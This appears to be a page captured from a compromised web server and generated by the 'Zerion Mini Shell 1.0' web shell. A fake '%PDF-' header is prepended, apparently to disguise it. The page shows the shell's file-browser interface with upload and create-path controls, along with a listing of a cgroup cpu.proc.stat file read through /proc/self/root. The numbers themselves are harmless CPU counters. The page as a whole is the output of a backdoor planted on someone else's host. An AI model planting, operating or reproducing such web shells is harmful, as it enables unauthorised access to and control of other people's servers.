%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/sys/fs/cgroup/cpuacct/lve1442/
Upload File :
Create Path :
Current File : //proc/self/root/sys/fs/cgroup/cpuacct/lve1442/cpu.proc.stat

cpu  67027 0 194783 40442754854 860 0 0 9888
cpu0 2372 0 6901 1685116580 139 0 0 410
cpu1 2495 0 7306 1685116185 70 0 0 424
cpu2 2634 0 7755 1685115562 36 0 0 426
cpu3 2733 0 7974 1685115171 26 0 0 401
cpu4 2847 0 8212 1685114662 28 0 0 424
cpu5 2885 0 8390 1685114365 23 0 0 427
cpu6 2886 0 8370 1685114487 34 0 0 404
cpu7 2887 0 8349 1685114484 24 0 0 425
cpu8 2880 0 8332 1685114535 26 0 0 382
cpu9 2936 0 8432 1685114317 27 0 0 411
cpu10 2883 0 8375 1685114471 26 0 0 408
cpu11 2825 0 8265 1685114587 25 0 0 397
cpu12 2833 0 8262 1685114582 23 0 0 396
cpu13 2874 0 8247 1685114459 89 0 0 398
cpu14 2855 0 8190 1685114525 27 0 0 437
cpu15 2843 0 8193 1685114607 29 0 0 393
cpu16 2839 0 8158 1685114595 38 0 0 423
cpu17 2789 0 8098 1685114690 24 0 0 438
cpu18 2807 0 8172 1685114576 25 0 0 416
cpu19 2783 0 8137 1685114774 17 0 0 391
cpu20 2789 0 8145 1685114652 26 0 0 418
cpu21 2789 0 8148 1685114658 25 0 0 429
cpu22 2760 0 8154 1685114703 23 0 0 413
cpu23 2793 0 8209 1685114615 20 0 0 387
intr 0
swap 0 0

ctxt 10836016
btime 1747808572
processes 842575
procs_running 0
procs_blocked 0

Zerion Mini Shell 1.0